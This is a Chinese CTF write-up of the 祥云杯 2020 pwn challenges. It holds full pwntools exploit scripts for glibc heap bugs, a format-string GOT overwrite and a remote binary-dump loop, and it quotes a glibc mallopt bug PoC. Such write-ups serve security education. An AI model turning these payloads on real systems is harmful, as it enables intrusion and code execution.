祥云杯 2020 WP

前言

这次比赛打得不是很好,第一个题从比赛开始一直做,做到下午5点还没做出来,只好看其他pwn了,拿到可以实现修改rip了,但是打所有one_gadget都失败,打到一个,不能输入命令执行,只好去看我接的那个项目了,当天就是截至日期,我的项目里还存在几个错误,对方一直在催,我只好再改改项目中的代码,但是还是不会写测试代码,不知道那边测试机制是啥。。。然后又继续干pwn了,在libc中一直找gadget想来控制一下rdi寄存器,并且调用system函数,setcontext中的gadget可以实现,但是开辟的堆太小了,没法使用该gadget,我只好再找找其他的gadget,找到一个可以修改rsp寄存器的gadget,我采用该gadget来打one_gadget,想不到还通了。。。晚上10点第一个pwn,后面心情爽多了,晚上11点又干出到影流之主,该题听说是个cve,熬夜继续干,先是看了把嘴闭上,实在没思路,有继续看第一个pwn了,换了另一种思路,凌晨3点出了这道。接下来只剩下内核pwn和一个没头绪的把嘴闭上了,我就没看了,一觉睡到9点,听说上了道pwn,匆忙的从寝室去实验室,不到半小时把这新上的题做了。又开始看内核pwn和把嘴闭上,自己毛病犯了,一点小事把自己搞得跟颓废的狗,就没继续打比赛了,这里就不说了,对不住了各位师傅,望见谅!离比赛结束还有两个多小时,看着队伍名次掉到30后了,自己也坐不住了,继续打pwn,听另一位师傅说该体是一个cve,给了个该bug的报告网站,我看了下,可以利用该漏洞来修改top chunk,但是bug提交者提供的poc感觉只是对堆的top chunk 该往下边去了,没发现啥,但是在poc中两次调用mallopt的中间加一个malloc(0x1f),可以实现吧top chunk 指向main_arena + 88处,也就可以在下次分配的时候分配到main_arena + 0x88处,本来想修改top chunk实现任意地址开辟,但是不能自定义修改top chunk指针,后面又想覆写_IO_2_1_stout_结构体,伪造虚表,发现好多main_arena中的值都不能修改,一直卡死,直到比赛结束,灰溜溜的就回寝室睡觉了。。。

这次比赛总排名19,学到了不少东西,各位师傅辛苦了,尤其是web,misc,crypto,re,表现都很不错,给个赞!!! d0g3起飞~~

PWN1 [Beauty_Of_ChangChun]

该题是glibc2.29以上的利用,若开辟大小大于或等于0x100会存在个uaf漏洞,且开辟大小存在范围的,且采用calloc开辟,没法直接利用uaf漏洞来修改tcache bin的fd实现劫持,后面就想采用unsorted bin attack楼改global_max_fast为一个大值,这样就可以采用fastbin attack攻击手段,在我使用unsorted bin attack的时候总是失败,网上一搜,原来glibc2.29以上unsorted bin attack基本已经失效,后面了解到small bin可以代替unsorted bin attack,也了解到glibc.2.29以上一种攻击Tcache Stashing Unlink Attack可以实现任意地址开辟或者unsorted bin attack效果。就学习该手段,一心只想修改global_max_fast后采用fastbin attack,calloc(1, 0x100)次数只能使用3次,有就放弃了该念头,然后想采用Tcache Stashing Unlink Attack来实现任意地址开辟,也搞了半天,tcache bin已经满了,也不能采用其他的大小的small bin,采用unsorted bin 分割搞了半天,还是实现不了其他大小small bin连续两个堆块的连接,后面就做项目去了。。。凌晨过来继续看,我将目光指向了打印flag函数的检查机制,若我能够修改程序初始化的key值,然后再在某个堆中填写我们修改的key值,绕过检查即可打印flag,修改mmap中的随机数key值就采用Tcache Stashing Unlink Attack来修改为main_arena附近的地址,类似与unsorted bin attack,在堆中存放计算好的main_arena附近地址就行,绕过之后就可打印flag。

vul

unsigned __int64 del()
{
  unsigned int v1; // [rsp+4h] [rbp-1Ch]
  unsigned __int64 v2; // [rsp+18h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts("idx:");
  v1 = inputn();
  if ( v1 <= 9 && p_size[v1] )
  {
    free((void *)p_arr[v1]);
    LOBYTE(p_size[v1]) = 0;                     // vul
  }
  return __readfsqword(0x28u) ^ v2;
}

exp

#!/usr/bin/env python
#-*- coding:utf-8 -*-
# Author: i0gan
# Env: Linux arch 5.8.14-arch1-1

from pwn import *
import os

r   =  lambda x : io.recv(x)
ra  =  lambda   : io.recvall()
rl  =  lambda   : io.recvline(keepends = True)
ru  =  lambda x : io.recvuntil(x, drop = True)
s   =  lambda x : io.send(x)
sl  =  lambda x : io.sendline(x)
sa  =  lambda x, y : io.sendafter(x, y)
sla =  lambda x, y : io.sendlineafter(x, y)
ia  =  lambda : io.interactive()
c   =  lambda : io.close()
li    = lambda x : log.info('\x1b[01;38;5;214m' + x + '\x1b[0m')

context.log_level='debug'
context.terminal = ['tmux', 'splitw', '-h']

elf_path  = 'pwn'
libc_path = '/glibc/2.29/64/lib/libc.so.6'

# remote server ip and port
server_ip = "112.126.71.170"
server_port = 43652

# if local debug
LOCAL = 0
LIBC  = 1

#--------------------------func-----------------------------
def db():
    if(LOCAL):
        gdb.attach(io)

def ad(sz):
    sla('scenery\n', '1')
    sla('size:', str(sz))

def rm(i):
    sla('scenery\n', '2')
    sla(':', str(i))

def md(i, d):
    sla('scenery\n', '3')
    sla(':', str(i))
    sla(':', d)

def dp(i):
    sla('scenery\n', '4')
    sla(':', str(i))

def ad2(d):
    sla('scenery\n', '5')
    s(d)

def ad3():
    sla('scenery\n', '666')


# glibc 2.29 ~ 2.32
#--------------------------exploit--------------------------
def exploit():
    li('exploit...')
    ru('ple\n')
    flag_addr = int(r(12),16)
    li('flag_addr: ' + hex(flag_addr))
    ad(0x100)
    ad(0x80)  # 1 avoid unsorted bin merge
    rm(1)
    ad(0x100) # 1
    ad(0x80)  # 2 avoid top chunk merge, and use for small bin

    rm(0)
    for _ in range(6):
        md(0, p64(0) + p64(0))
        rm(0)

    dp(0)
    leak = u64(ru('\x0a\x48')[-6:].ljust(8, b'\x00'))
    heap = leak - 0x260

    li('heap: ' + hex(heap))
    md(0, p64(0) + p64(0))
    rm(0)

    dp(0)
    leak = u64(ru('\x7f')[-5:] + b'\x7f\x00\x00')
    malloc_hook = leak - 96 - 0x10
    libc_base = malloc_hook - libc.sym['__malloc_hook']
    global_max_fast = libc_base + libc.sym['global_max_fast']
    main_arena = malloc_hook + 0x10
    li('libc_base: ' + hex(libc_base))
    li('malloc_hook: ' + hex(malloc_hook))
    #chunk_addr = heap + 0xc8

    rm(1)
    ad3()

    md(1, p64(heap + 0x250) + p64(flag_addr - 0x10))
    #md(1, p64(0) + p64(flag_addr - 0x10))
    ad2(p64(main_arena + 0x352) + p64(heap + 0x3f0))

    rm(2)
    ad(0x100) # modify random num

    md(2, p64(main_arena + 352))
    sla('scenery\n', '5')
    sl('2')
    #db()



def finish():
    ia()
    c()

#--------------------------main-----------------------------
if __name__ == '__main__':

    if LOCAL:
        elf = ELF(elf_path)
        if LIBC:
            libc = ELF(libc_path)
            io = elf.process(env = {"LD_PRELOAD" : libc_path} )
        else:
            io = elf.process()

    else:
        elf = ELF(elf_path)
        io = remote(server_ip, server_port)
        if LIBC:
            libc = ELF(libc_path)

    exploit()
    finish()

PWN2[baby dev]

一看是内核pwn,应该是个溢出漏洞采用ret2user利用手段吧,看了几下就没看了。。。tcl学kenel pwn去。。。。

PWN3[baby pwn]

这个题是个c++ pwn,运行后直接开辟直接崩溃,我大为惊喜,分析逆向代码有点乱,采用exp乱试一番,发现程序崩溃,因为程序有个指针函数调用,且该函数指针存放在堆中,若能修改该函数指针,即可实现修改rip,这是个uaf漏洞,先通过打印函数leak出libc,再修改该函数指针为one_gadget,但是所有one_gadget都不通,在libc中找了半天的gadget,最终找到个改变rsp的gadget调整一下one_gadget中的execve第二个参数,远程通了。。

exp

#!/usr/bin/env python
#-*- coding:utf-8 -*-
# Author: i0gan
# Env: Linux arch 5.8.14-arch1-1

from pwn import *
import os

r   =  lambda x : io.recv(x)
ra  =  lambda   : io.recvall()
rl  =  lambda   : io.recvline(keepends = True)
ru  =  lambda x : io.recvuntil(x, drop = True)
s   =  lambda x : io.send(x)
sl  =  lambda x : io.sendline(x)
sa  =  lambda x, y : io.sendafter(x, y)
sla =  lambda x, y : io.sendlineafter(x, y)
ia  =  lambda : io.interactive()
c   =  lambda : io.close()
li  = lambda x : log.info('\x1b[01;38;5;214m' + x + '\x1b[0m')


context.log_level='debug'
context.terminal = ['tmux', 'splitw', '-h']

elf_path  = 'pwn'
MODIFY_LD = 0
arch = '64'
libc_v = '2.23'

ld_path   = '/glibc/' + libc_v + '/' + arch + '/lib/ld-linux-x86-64.so.2'
libs_path = '/glibc/' + libc_v + '/' + arch + '/lib'
libc_path = '/glibc/' + libc_v + '/' + arch + '/lib/libc.so.6'
libc_path = './libc.so.6'

# change ld path 
if(MODIFY_LD):
    os.system('cp ' + elf_path + ' ' + elf_path + '.bk')
    change_ld_cmd = 'patchelf  --set-interpreter ' + ld_path +' ' + elf_path
    os.system(change_ld_cmd)
    li('modify ld ok!')
    exit(0)

# remote server ip and port
server_ip = "8.131.69.237"
server_port = 52642

# if local debug
LOCAL = 0
LIBC  = 1

#--------------------------func-----------------------------
def db():
    if(LOCAL):
        gdb.attach(io)

def init():
    sla('exit', '1')    

def cre():
    sla('exit', '2')    

def ad(sz):
    sla('exit', '3')    
    sla(':', str(sz))    

def se(d):
    sla('exit', '4')    
    sa(':', d)    

def dp():
    sla('exit', '5')    

def size():
    sla('exit', '6')    

def q():
    sla('exit', '7')    

#--------------------------exploit--------------------------
def exploit():
    li('exploit...')
    init()
    cre()
    ad(0x88)

    dp()
    ru('show:')
    r(9)
    heap = u64(r(8))
    li('heap: ' + hex(heap))
    ad(0x88)
    init()
    dp()
    leak = u64(ru('\x7f')[-5:] + b'\x7f\x00\x00')
    libc_base = leak - libc.sym['__malloc_hook']  - 0x10  - 88
    og = libc_base + libc.sym['system']
    #gadget = libc_base + 0x115260
    setcontext = libc_base + libc.sym['setcontext'] + 0x3d

    og = libc_base + 0x45226
    #og = libc_base + 0x4527a
    #og = libc_base + 0xf0364
    og = libc_base + 0xf1207
    #0x000000000007218c : mov rdi, rbx ; call qword ptr [rax + 0x18]
    #0x000000000012c8d1 : mov rdi, r10 ; call qword ptr [rax + 0x20]
    recall = libc_base + 0x7218c

    li('leak: ' + hex(leak))
    li('libc_base: ' + hex(libc_base))

    ad(0x88)
    target_chunk = heap - 0xc0 + 8
    li('target_chunk: ' + hex(target_chunk))
    p = p64(target_chunk) # set rax value
    p += p64(recall) # rax + 0x10
    p += p64(og)     # rax + 0x18
    se(p)

    db()
    size()


def finish():
    ia()
    c()

#--------------------------main-----------------------------
if __name__ == '__main__':

    if LOCAL:
        elf = ELF(elf_path)
        if LIBC:
            libc = ELF(libc_path)
            io = elf.process(env = {"LD_LIBRARY_PATH" : libs_path, "LD_PRELOAD" : libc_path} )
        else:
            io = elf.process(env = {"LD_LIBRARY_PATH" : libs_path} )

    else:
        elf = ELF(elf_path)
        io = remote(server_ip, server_port)
        if LIBC:
            libc = ELF(libc_path)

    exploit()
    finish()

PWN4[引流之主]

采用glob函数打开一个目录,采用*类似与通配符,遍历文件,由于涉及到堆的开辟与释放,开辟内存大的话,存在unsorted bin管理,堆中存在main_arena附近地址,通过uaf漏洞泄漏libc,然后采用fastbin attack修改__malloc_hook为one_gadget即可

exp

#!/usr/bin/env python
#-*- coding:utf-8 -*-
# Author: i0gan
# Env: Linux arch 5.8.14-arch1-1

from pwn import *
import os

r   =  lambda x : io.recv(x)
ra  =  lambda   : io.recvall()
rl  =  lambda   : io.recvline(keepends = True)
ru  =  lambda x : io.recvuntil(x, drop = True)
s   =  lambda x : io.send(x)
sl  =  lambda x : io.sendline(x)
sa  =  lambda x, y : io.sendafter(x, y)
sla =  lambda x, y : io.sendlineafter(x, y)
ia  =  lambda : io.interactive()
c   =  lambda : io.close()
li    = lambda x : log.info('\x1b[01;38;5;214m' + x + '\x1b[0m')

context.log_level='debug'
context.terminal = ['tmux', 'splitw', '-h']

elf_path  = 'pwn'
libc_path = '/glibc/2.23/64/lib/libc.so.6'
libc_path = './libc.so.6'

# remote server ip and port
server_ip = "112.126.71.170"
server_port = 45123

# if local debug
LOCAL = 0
LIBC  = 1

#--------------------------func-----------------------------
def db():
    if(LOCAL):
        gdb.attach(io)

def ad():
    sleep(0.3)
    sl('1')

def rm(i):
    sleep(0.3)
    sl('2')
    sl(str(i))

def md(i, d):
    sleep(0.3)
    sl('3')
    sl(str(i))
    s(d)

def dp(i):
    sleep(0.3)
    sl('4')
    sl(str(i))

def glob(d):
    sleep(0.3)
    sl('5')
    sl(d)

#--------------------------exploit--------------------------
def exploit():
    li('exploit...')
    glob('/proc/self/*\n')
    ad() # 0
    dp(0)
    leak = u64(ru('\x7f')[-5:] + b'\x7f\x00\x00')
    libc_base = leak - libc.sym['__malloc_hook'] - 0x10 - 0x58
    malloc_hook = libc_base + libc.sym['__malloc_hook']
    one_gadget = libc_base + libc.sym['system']
    one_gadget = libc_base + 0xf1207
    li('leak: ' + hex(leak))
    li('libc_base: ' + hex(libc_base))
    ad() # 1

    rm(0)
    md(0, p64(malloc_hook - 0x23))
    ad() # 2
    ad() # 3
    p = b'\x00' * (0x13 - 0x8)
    p += p64(0)
    p += p64(one_gadget)
    md(3, p)
    #db()

    ad()# 4


def finish():
    ia()
    c()

#--------------------------main-----------------------------
if __name__ == '__main__':

    if LOCAL:
        elf = ELF(elf_path)
        if LIBC:
            libc = ELF(libc_path)
            io = elf.process(env = {"LD_PRELOAD" : libc_path} )
        else:
            io = elf.process()

    else:
        elf = ELF(elf_path)
        io = remote(server_ip, server_port)
        if LIBC:
            libc = ELF(libc_path)

    exploit()
    finish()

PWN5 [把嘴闭上]

这个是个glibc的一个历年漏洞,采用mallopt函数能够修改top chunk指针。

触发poc如下

https://sourceware.org/bugzilla/show_bug.cgi?id=25733

            Bug ID: 25733
           Summary: mallopt(M_MXFAST) can set global_max_fast to 0
           Product: glibc
           Version: 2.31
            Status: UNCONFIRMED
          Severity: normal
          Priority: P2
         Component: malloc
          Assignee: unassigned at sourceware dot org
          Reporter: maxkamper at outlook dot com
  Target Milestone: ---

mallopt(M_MXFAST) can set global_max_fast to 0.

This doesn't seem intentional because mallopt(M_MXFAST, 0) sets global_max_fast
to SMALLBIN_WIDTH.

Passing a value between 1-7 to mallopt(M_MXFAST, value) sets global_max_fast to
0.

Both malloc.c and the mallopt man page document the legitimate range of values
that may be passed to mallopt(M_MXFAST, value) as "0 to 80*sizeof(size_t)/4".

In GLIBC versions >= 2.27 this has the same effect as setting global_max_fast
to SMALLBIN_WIDTH, but it is perhaps of some concern in GLIBC versions <= 2.26
because of how global_max_fast is treated as an indicator of main arena
initialization by malloc_consolidate().

If the following example is compiled & run under GLIBC version 2.26, a chunk is
allocated overlapping the main arena:

#include <stdio.h>
#include <stdlib.h>
#include <malloc.h>

int main(void) {

    // Populate last_remainder, which is treated as the top chunk size field
    // after main arena re-initialization.
    void* remainder_me = malloc(0x418);
    malloc(0x18); // Avoid top chunk consolidation.
    free(remainder_me);
    malloc(0x18); // Remainder remainder_me chunk.

    // Set global_max_fast to 0.
    mallopt(M_MXFAST, 7);

    // Trigger malloc_consolidate(), which could happen during large
    // allocations/frees, but for the sake of simplicity here just call
    // mallopt() again.
    mallopt(M_MXFAST, 0x78);

    // malloc_consolidate() uses global_max_fast to determine if malloc has
    // been initialized. If global_max_fast is 0, malloc_consolidate() will
    // re-initialize the main arena, setting its top chunk pointer to an address
    // within the main arena. Now last_remainder acts as the top chunk size
    // field.
    printf("%p\n", malloc(0x418);
    return 0;
}

-- 
You are receiving this mail because:
You are on the CC list for the bug.

但是,上面这个poc只是将top chunk 往下移动了,若我们在两次mallopt之间加入一个malloc(0x1f)的话,能够将top chunk指针修改为main_arena + 88处,这样在下次开辟的时候就能开辟到main_arena+ 88处了,虽然能够修改main_arena + 88 以上的内存,但是不能修改top chunk指针指向我们的目标地址,我想的是修改_IO_2_1_stdout_伪造虚表劫持,中途开辟的时候容易修改main_arena中的东西,导致开辟内存失败,出错。然后后面放弃了,比赛结束就没做了。。。

思路

听说__free_hook就在这附近,直接开辟到__free_hook劫持即可,也有修改_IO_list_all伪造IO_FILE劫持的。

更新

不断开辟到__free_hook,劫持__free_hook为system。

exp

#!/usr/bin/env python
#-*- coding:utf-8 -*-
# Author: i0gan
# Env: Linux arch 5.8.14-arch1-1

from pwn import *
import os

r   =  lambda x : io.recv(x)
ra  =  lambda   : io.recvall()
rl  =  lambda   : io.recvline(keepends = True)
ru  =  lambda x : io.recvuntil(x, drop = True)
s   =  lambda x : io.send(x)
sl  =  lambda x : io.sendline(x)
sa  =  lambda x, y : io.sendafter(x, y)
sla =  lambda x, y : io.sendlineafter(x, y)
ia  =  lambda : io.interactive()
c   =  lambda : io.close()
li    = lambda x : log.info('\x1b[01;38;5;214m' + x + '\x1b[0m')

context.log_level='debug'
context.terminal = ['tmux', 'splitw', '-h']

elf_path  = 'pwn'
#libc_path = './libc.so.6'
libc_path = '/glibc/2.23/64/lib/libc.so.6'

# remote server ip and port
server_ip = "112.126.71.170"
server_port = 23548

# if local debug
LOCAL = 1
LIBC  = 1

#--------------------------func-----------------------------
def db():
    if(LOCAL):
        gdb.attach(io)

# 1 ~ 1f
def ad(sz, d):
    sla(' > ', '1')
    sla(' > ', str(sz))
    sa(' > ', d)

def rm():
    sla(' > ', '2')

def ch(p, sz):
    sla(' > ', '3')
    sla(' > ', str(p))
    sl(str(sz))

# 401 ~ 4ff
def ad2(sz, d):
    sla(' > ', '4')
    sla(' > ', str(sz))
    s(d)

def q():
    sla(' > ', '5')

#--------------------------exploit--------------------------
def exploit():
    li('exploit...')
    ru('0x')
    libc_puts = int(r(12), 16)
    li('libc_puts: ' + hex(libc_puts))
    sla('?', str(0x4f8))
    s('A' * 0x4f8)
    ad(0x18, 'A' * 0x18)
    rm()
    # set global_max_fast to 0
    ch(1, 7)
    ad(0x1, 'A' * 0x1)
    #ad2(0x408, 'A' * 0x18)
    ch(1, 0x78)

    libc_base = libc_puts - libc.sym['puts']
    libc_system = libc_base + libc.sym['system']
    free_hook = libc_base + libc.sym['__free_hook']
    main_arena = libc_base + libc.sym['__malloc_hook'] + 0x10

    ad2(0x4f8, 'A')
    ad2(0x4f8, 'A')
    ad2(0x4f8, 'A')
    ad2(0x4f8, 'A')
    ad2(0x4f8, 'A')

    p = b'/bin/sh\x00'
    p = p.ljust(0x320, b'\x00')
    p += p64(libc_system)
    ad2(0x4f8, p)
    db()
    rm()


def finish():
    ia()
    c()

#--------------------------main-----------------------------
if __name__ == '__main__':

    if LOCAL:
        elf = ELF(elf_path)
        if LIBC:
            libc = ELF(libc_path)
            io = elf.process(env = {"LD_PRELOAD" : libc_path} )
        else:
            io = elf.process()

    else:
        elf = ELF(elf_path)
        io = remote(server_ip, server_port)
        if LIBC:
            libc = ELF(libc_path)

    exploit()
    finish()

PWN6[garden]

该glibc是2.29的,程序开辟限定了大小,也之存在一次uaf漏洞利用,和fastbin的开辟,结合tcache bin机制和unsorted bin分割通过uaf构造堆重叠,打印函数打印出unsorted bin的残留信息泄漏出libc,通过堆重叠修该tcache fd指向__free_hook,指针数组已经满了,重新释放掉再开辟即可开辟到__free_hook处,修改为system,free传入’/bin/sh’即可。

vul

void del2()
{
  int v0; // [rsp+Ch] [rbp-4h]

  if ( flag )
    exit(1);
  puts("which tree do you want to steal?");
  v0 = inputn();
  if ( v0 >= 0 && v0 <= 8 && p_arr[v0] )
    free((void *)p_arr[v0]);                    // vul
  flag = 1;
}

exp

#!/usr/bin/env python
#-*- coding:utf-8 -*-
# Author: i0gan
# Env: Linux arch 5.8.14-arch1-1

from pwn import *
import os

r   =  lambda x : io.recv(x)
ra  =  lambda   : io.recvall()
rl  =  lambda   : io.recvline(keepends = True)
ru  =  lambda x : io.recvuntil(x, drop = True)
s   =  lambda x : io.send(x)
sl  =  lambda x : io.sendline(x)
sa  =  lambda x, y : io.sendafter(x, y)
sla =  lambda x, y : io.sendlineafter(x, y)
ia  =  lambda : io.interactive()
c   =  lambda : io.close()
li  = lambda x : log.info('\x1b[01;38;5;214m' + x + '\x1b[0m')


context.log_level='debug'
context.terminal = ['tmux', 'splitw', '-h']

elf_path  = 'pwn'
MODIFY_LD = 0
arch = '64'
libc_v = '2.29'

ld_path   = '/glibc/' + libc_v + '/' + arch + '/lib/ld-linux-x86-64.so.2'
libs_path = '/glibc/' + libc_v + '/' + arch + '/lib'
libc_path = '/glibc/' + libc_v + '/' + arch + '/lib/libc.so.6'
libc_path = './libc.so.6'

# change ld path 
if(MODIFY_LD):
    os.system('cp ' + elf_path + ' ' + elf_path + '.bk')
    change_ld_cmd = 'patchelf  --set-interpreter ' + ld_path +' ' + elf_path
    os.system(change_ld_cmd)
    li('modify ld ok!')
    exit(0)

# remote server ip and port
server_ip = "8.131.69.237"
server_port = 32452

# if local debug
LOCAL = 0
LIBC  = 1


#--------------------------func-----------------------------
def db():
    if(LOCAL):
        gdb.attach(io)

def ad(i, d):
    sla('>> ', '1')
    sla('?', str(i))
    sa('?', d)

def rm(i):
    sla('>> ', '2')
    sla('?', str(i))

def dp(i):
    sla('>> ', '3')
    sla('?', str(i))

def q():
    sla('>> ', '4')

def rm2(i):
    sla('>> ', '5')
    sla('?', str(i))

def ad2():
    sla('>> ', '6')

#--------------------------exploit--------------------------
def exploit():
    li('exploit...')
    for i in range(8):
        ad(i, 'A')

    for i in range(7):
        rm(7 - i)
    rm(0)

    for i in range(7):
        ad(i, 'A')
    ad2()


    ad(7, 'A')
    for i in range(7):
        rm(7 - i)

    rm(0)

    for i in range(7):
        ad(i, 'A' * 8)

    ad(7, 'A' * 8)

    dp(7)
    leak = u64(ru('\x7f')[-5:] + b'\x7f\x00\x00')
    libc_base = leak - libc.sym['__malloc_hook'] - 0x10 - 96
    free_hook = libc_base + libc.sym['__free_hook']
    system = libc_base + libc.sym['system']
    li('libc_base: ' + hex(libc_base))

    for i in range(7):
        rm(7 - i)
    rm2(0)

    for i in range(7):
        ad(i + 1, 'A')

    p = b'A' * 0xd0
    p += p64(0) + p64(0x110)
    p += p64(0) + p64(0)

    ad(8, p)
    rm(0)

    rm(8)
    p = b'A' * 0xd0
    p += p64(0) + p64(0x110)
    p += p64(free_hook) + p64(0)
    ad(8, p)
    for i in range(8):
        rm(i)
    for i in range(7):
        ad(i, '/bin/sh\x00')
    ad(7, p64(system))
    #db()
    rm(1)


def finish():
    ia()
    c()

#--------------------------main-----------------------------
if __name__ == '__main__':

    if LOCAL:
        elf = ELF(elf_path)
        if LIBC:
            libc = ELF(libc_path)
            io = elf.process(env = {"LD_LIBRARY_PATH" : libs_path, "LD_PRELOAD" : libc_path} )
        else:
            io = elf.process(env = {"LD_LIBRARY_PATH" : libs_path} )

    else:
        elf = ELF(elf_path)
        io = remote(server_ip, server_port)
        if LIBC:
            libc = ELF(libc_path)

    exploit()
    finish()

祥云总决赛pwn

解题模式

pwn1

字符串漏洞盲打pwn,根据字符串漏洞dump远程文件

#! /usr/bin/env python3
from pwn import *
context.log_level = 'critical'
f = open("pwn_bin", "ab+")
begin = 0x400000
offset = 0
i=0
while True:
    io = remote('172.20.2.8', 15865)
    io.recvuntil('floor\n')
    addr = begin + offset    
    p = b'%10$sABCD'
    p = p.ljust(0x10, b'\x00')
    p += p64(0x0) * 2
    p += p64(addr)
    io.sendline(p)
    try:
        info = io.recvuntil('ABCD',drop=True)
        remain = io.recvrepeat(0.2)
    except EOFError:
        break
    if len(info)==0:
        offset += 1
        f.write(b'\x00')
    else:
        info += b'\x00'
        offset += len(info)
        f.write(info)
        f.flush()
    io.close() 
f.close()

dump下来后,分析,打印__libc_start_main的got表地址发现后三位为750,是libc2.23的,在进行24轮的输入输出之后,一次输入很大的数据,采用字符串漏洞一次完成修改printf的got表为system函数,下一次输入传入”;sh\x00”

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int result; // eax
  char v4; // [rsp+0h] [rbp-500h]

  sub_400600((__int64)&v4, 0LL, 1280LL);
  while ( 1 )
  {
    puts();
    MEMORY[0x602089] = sub_400630((__int64)"DO you want to exit Y/N or y/n ");
    sub_400630((__int64)"DO you want to exit Y/N or y/n ");
    result = MEMORY[0x602089];
    if ( MEMORY[0x602089] == 'Y' )
      break;
    result = MEMORY[0x602089];
    if ( MEMORY[0x602089] == 'y' )
      break;
    read(0LL, (__int64)&v4, 0x501LL);
    printf((__int64)&v4);
  }
  return result;
}
exp
#!/usr/bin/env python2
#-*- coding:utf-8 -*-
# Author: i0gan
from pwn import *
import os
#from LibcSearcher import *
r   =  lambda x : io.recv(x)
ra  =  lambda   : io.recvall()
rl  =  lambda   : io.recvline(keepends = True)
ru  =  lambda x : io.recvuntil(x, drop = True)
s   =  lambda x : io.send(x)
sl  =  lambda x : io.sendline(x)
sa  =  lambda x, y : io.sendafter(x, y)
sla =  lambda x, y : io.sendlineafter(x, y)
ia  =  lambda : io.interactive()
c   =  lambda : io.close()
li    = lambda x : log.info('\x1b[01;38;5;214m' + x + '\x1b[0m')

context.log_level='debug'
context.terminal = ['tmux', 'splitw', '-h']

# remote server ip and port
server_ip = "172.20.2.8"
server_port = 15865

# if local debug
libc_path ='./libc.so.6'
LOCAL = 0
LIBC  = 1
#--------------------------func-----------------------------
def db():
    if(LOCAL):
        gdb.attach(io)

#--------------------------exploit--------------------------
def exploit():
    li('exploit...')
    offset = 10
    libc_start_main = 0x602040
    p = b'%10$sABCD'
    p = p.ljust(0x10, b'\x00')
    p += p64(0x0) * 2
    p += p64(libc_start_main)
    p = p.ljust(0x30, b'\x00')
    s(p)

    leak = u64(ru('\x7f')[-5:] + b'\x7f\x00\x00')
    li('leak: ' + hex(leak))
    offset__libc_start_main = libc.sym['__libc_start_main']
    __libc_start_main = leak
    libc_base = leak - offset__libc_start_main
    system = libc_base + libc.sym['system']
    #libc = LibcSearcher('__libc_start_main', leak)

    li('libc_base: ' + hex(libc_base))
    li('__libc_start_main: ' + hex(__libc_start_main))

    sl('ok')
    #__libc_start_main+240
    for _ in range(23):
        sla('ok', 'ok')

    sla('y/n', 'n')
    printf_got = 0x602028

    offset = 6 + 6
    b31 = ((system & 0xFFFFFF) >> (8 * 2)) & 0xFF
    b22 = system & 0xFFFF
    li('system: ' + hex(system))
    print('b31: ' + hex(b31))
    print('b22: ' + hex(b22))
    li('o_printf: ' + hex(libc.sym['printf']))
    li('o_system: ' + hex(libc.sym['system']))
    li('free: ' + hex(libc.sym['free']))

    p  =  b'%' + str(b31) + b'c%' + str(offset) + b'$hhn'
    p  +=  b'%' + str(b22 - b31) + b'c%' + str(offset + 1) + b'$hn'
    p =  p.ljust(0x8 * 6, b'\x00')
    p += p64(printf_got + 2)
    p += p64(printf_got + 0)
    sl(p)
    #p =   b'%' + str(system & 0xFFFF) + b'c%' + str(offset) + b'$hn'
    #p = p.ljust(0x20,'A')
    #p = antitone_fmt_payload(6, { printf_got : system }, write_size='short')
    #p = '%' +  str(system & 0xFFFF) + 


def finish():
    ia()
    c()
#--------------------------main-----------------------------
if __name__ == '__main__':
    if LOCAL:
        elf = ELF(elf_path)
        if LIBC:
            libc = ELF(libc_path)
            io = elf.process(env = {"LD_PRELOAD" : libc_path} )
        else:
            io = elf.process()
    else:
        #elf = ELF(elf_path)
        io = remote(server_ip, server_port)
        if LIBC:
            libc = ELF(libc_path)
    exploit()
    finish()

pwn2

exp
#!/usr/bin/env python
#-*- coding:utf-8 -*-
# Author: i0gan
from pwn import *
from LibcSearcher import *
import os
r   =  lambda x : io.recv(x)
ra  =  lambda   : io.recvall()
rl  =  lambda   : io.recvline(keepends = True)
ru  =  lambda x : io.recvuntil(x, drop = True)
s   =  lambda x : io.send(x)
sl  =  lambda x : io.sendline(x)
sa  =  lambda x, y : io.sendafter(x, y)
sla =  lambda x, y : io.sendlineafter(x, y)
ia  =  lambda : io.interactive()
c   =  lambda : io.close()
li    = lambda x : log.info('\x1b[01;38;5;214m' + x + '\x1b[0m')

context.log_level='debug'
context.terminal = ['tmux', 'splitw', '-h']

elf_path  = 'pwn2'

# remote server ip and port
server_ip = "172.20.2.11"
server_port = 25688

# if local debug
LOCAL = 0
LIBC  = 1
#--------------------------func-----------------------------
def db():
    if(LOCAL):
        gdb.attach(io)
def ad(idx, sz):
    sla('ce\n', '1')
    sla('>>', str(idx))
    sla('>>', str(sz))

def rm(idx):
    sla('ce\n', '2')
    sla('>>', str(idx))

def md(idx, d):
    sla('ce\n', '3')
    sla('>>', str(idx))
    sa('>>', d)

def dp(idx):
    sla('ce\n', '5')
    sla('>>', str(idx))

#--------------------------exploit--------------------------
def exploit():
    li('exploit...')
    for i in range(5):
        ad(i, 0x10)

    for i in range(5):
        rm(i)

    ad(0, 0x80)
    ad(1, 0x68)
    ad(2, 0x68)
    ad(3, 0x80)
    ad(4, 0x68)


    p = b'A' * 0x60
    p += p64(0x90 + 0x70 + 0x70) + b'\x90'
    md(2, p)
    rm(1)
    rm(2)
    rm(0)
    rm(3)

    ad(0, 0x80)
    dp(0)
    leak = u64(ru('\x7f')[-5:] + b'\x7f\x00\x00') - 584 - 0x10
    li('leak ' + hex(leak))

    lib = LibcSearcher('__malloc_hook', leak)

    libc_base = leak - libc.sym['__malloc_hook']
    realloc = libc_base + libc.sym['realloc']
    gadget = [0x45226, 0x4527a, 0xf0364, 0xf1207] # libc.so.6
    #gadget = [0x45206, 0x4525a, 0xef9f4, 0xf0897] # libc6_2.23-0ubuntu3_amd64
    #gadget = [0x45216, 0x4526a, 0xf02a4, 0xf1147] # libc6_2.23-0ubuntu10_amd64.so
    one_gadget = libc_base + gadget[1]
    #one_gadget = libc_base + libc.sym['puts']
    li('libc_base ' + hex(libc_base))

    p = b'A' * 0x60 + p64(0) + p64(0x71)
    p += p64(leak - 0x23)
    p += b'\n'
    ad(4, 0xa0)
    md(4, p)
    ad(5, 0x68)

    p = b'A' * (0x13 - 8)
    p += p64(one_gadget)
    p += p64(realloc + 2)
    p += b'\n'
    ad(6, 0x68)
    md(6, p)
    #db()
    li('libc_base ' + hex(libc_base))
    #li('libc: ' + hex(lib.dump('__malloc_hook')))

    ad(7, 0x10)

def finish():
    ia()
    c()
#--------------------------main-----------------------------
